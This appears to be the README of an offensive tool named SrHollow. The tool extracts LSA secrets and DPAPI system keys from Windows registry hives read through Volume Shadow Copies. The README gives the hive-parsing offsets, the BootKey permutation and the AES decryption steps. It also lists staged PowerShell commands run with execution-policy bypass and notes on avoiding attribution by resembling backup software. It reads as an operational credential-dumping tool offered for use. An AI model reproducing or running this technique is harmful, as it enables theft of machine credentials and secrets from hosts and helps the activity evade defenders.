
Extracts LSA secrets and DPAPI keys from Windows registry hives via existing or newly created VSS shadow copies, with an inline regf parser and AES-256 decryption.
LSA secrets extraction, reuse a preexisting VSS shadow copy + inline regf parser + AES-256 LSA decrypt via bcrypt.dll.
\GLOBAL?? via NtOpenDirectoryObject + NtQueryDirectoryObject. Pick the highest-numbered HarddiskVolumeShadowCopyN.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) from SrClient.dll.SeBackupPrivilege in the current token (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) and read to byte[].regf walker parses the hive: base block, cell types nk/vk/lf/lh/li/ri/db/sk. KeyNode layout, flags @0x02, subkey list @0x1C, value list @0x28, security key @0x2C, class off @0x30, name len u16 @0x48, class len u16 @0x4A (this was a bug on first pass — Microsoft's own docs are ambiguous here), name @0x4C.Class UTF-16 hex of ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} → 16 raw bytes → permute with [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7].Policy\PolEKList\(default) (172 bytes): salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); LSA key = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): same layout, salt-stretch with the LSA key instead of BootKey.DPAPI_SYSTEM body: bytes[4..24] = MachineKey, bytes[24..44] = UserKey. These decrypt every SYSTEM-scoped DPAPI master key on the host.SrHollow/
├── README.md <- you are here
├── src/
│ └── SrHollow.cs <- inline regf parser + LSA AES crypto (~350 LOC, single file)
└── stages/
├── Stage1-Recon.ps1 <- read-only shadow enumeration
├── Stage1b-ReadShadowHives.ps1 <- auto-detect / auto-create shadow + slurp hives
├── Stage2-Decrypt.ps1 <- BootKey + LSA key + all secrets
└── Stage3-Report.ps1 <- formatted operator report with OPSEC footprint
src/SrHollow.cs has zero dependencies beyond System.Security.Cryptography (which itself proxies to bcrypt.dll). It compiles as-is via Add-Type or csc.exe.
Elevated PowerShell
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Requires: local admin (for SeBackupPrivilege), a Volume Shadow Copy service that is running or startable (default on Windows 10/11).
Attributable signals left when a shadow already exists:
CreateFileW on \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges enabling SeBackupPrivilegeSHA-256 + AES-CBC via bcrypt.dll (userland, unremarkable)This is the same file-open profile as most legitimate backup agents.